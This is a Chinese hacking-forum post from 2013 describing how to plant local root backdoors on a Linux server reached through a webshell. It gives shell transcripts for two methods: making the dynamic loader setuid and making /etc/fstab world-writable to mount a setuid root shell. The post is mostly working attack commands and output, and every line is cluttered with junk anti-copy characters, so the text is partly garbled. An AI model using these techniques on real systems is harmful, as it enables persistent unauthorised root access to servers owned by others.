中国网络渗透测试联盟

标题: webshell下LINUX提权+留后门 [打印本页]
作者: admin    时间: 2013-3-8 21:56
标题: webshell下LINUX提权+留后门
方法一：setuid的方法，其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究
6 W5 `+ K  U9 W! _) Q; J3 d4 N6 I9 }- v: v: @& b4 r
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究! g# O) C8 G" \9 E2 `
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
8 r* ?: ^. U0 x: A* ~5 Elrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究3 B% [+ i: x) R+ L: v- C# t
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究8 r1 r3 J3 ^6 S' }6 P& s
[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
# [& n" U7 o+ D8 p8 @-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究0 B9 w" _$ U! j+ @6 D6 O3 Y
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
3 p; N: J7 T8 T6 i5 n[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究+ B9 H& I( b" o6 J8 g$ ^
我们这里给/lib/ld-linux.so.2这个文件（在FC8里，它指向ld-2.7.so这个文件）加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究/ r* i9 C) _  c
' n; J; \  m* G
普通用户登录，测试下权限：2ezX-BUG-关注前沿信息安全技术研究
4 {# y! g+ g. r2 D8 \6 z- A: _4 P2 w7 D, w" I8 u4 p
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究4 e- O: R5 y' R( e; G2 A* J: f
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
+ D& ?8 C+ d- j# ]- _5 F& [3 r3 B* e[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
# T3 A  B: j: ~: w6 C1 j1 e5 J+ iroot2ezX-BUG-关注前沿信息安全技术研究- u; x) C! C! ?3 m+ Z* b( U
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究6 |  D* ^- k) S/ N
恩，嘿嘿 root了吧，具体怎么生成root shell，你们自己去想吧，凡事都不要点得太透，对吧。呵呵，可以肯定的一点，/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell， bash检查euid 和uid，看是否相等...OK，不多说了。2ezX-BUG-关注前沿信息安全技术研究/ y* R, U# ?$ r) o
& F- {6 U' e! H- G
方法二：2ezX-BUG-关注前沿信息安全技术研究& a% z3 w; N- \" u" Y+ p
# g: @! j$ h& J: f  ^
看过程:2ezX-BUG-关注前沿信息安全技术研究/ M9 g7 C0 G5 }, L

' v0 j/ H. s# }5 [/ k[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
3 Q  u" k+ l' x! c3 N[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究6 O$ b4 H  @7 t
$ t0 Z& j* Y3 p+ _# c; }- f
这就留好了。此方法比较XXOXX，估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究& V/ A& L6 @( }. j% \6 b

* G; ~1 t1 Q* x* l% k5 P7 s[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究* P( Y0 b7 s6 r1 X. Y# {
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
8 @+ ?+ e. |0 k8 i[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究+ M; f$ I1 _& I; c1 L2 @

+ c/ V+ P( r2 c然后从本机把一个文件到目标机器上去，这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究' R3 B/ \! N2 E

' M9 `7 @9 f& j& `( v[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究3 I( L- z/ G  Q. M' ~5 k4 N
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究0 d$ t) z% a/ F+ x- @/ I: j
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
8 p9 h$ [/ P" o( v( [3 y[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
" G% i" H+ R7 }, }; Y[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
( a( z; j5 t& s% {total 182ezX-BUG-关注前沿信息安全技术研究
8 Q6 g3 r+ G% H' W0 _. S3 rdrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究" Z0 Y) d# |7 y% C" Z0 e6 l. M/ M0 ~7 H
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究; j3 H$ b. @4 K$ v8 U: Q
[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究! }" `0 S. ?# X3 R+ r" J! ~
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
% C1 D6 u. E% g$ g- ^8 y* o看到了吧，从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究7 H. ]5 X# x2 Q* c
test这个文件baidu貌似木有上传功能撒，木办法传2ezX-BUG-关注前沿信息安全技术研究0 b# ?/ T6 X) ~; |, x; H5 x
* }8 B! c; m5 P
貌似可能有人说本地后门木啥鸟用，但是你要搞清楚：一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究" T" [1 ?5 O2 d) [
2ezX-BUG-关注前沿信息安全技术研究# ?6 s% B% c6 i

6 k: P4 U0 k) d/ C) Y
作者: wuyu    时间: 2013-3-13 15:10
谢谢分享



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2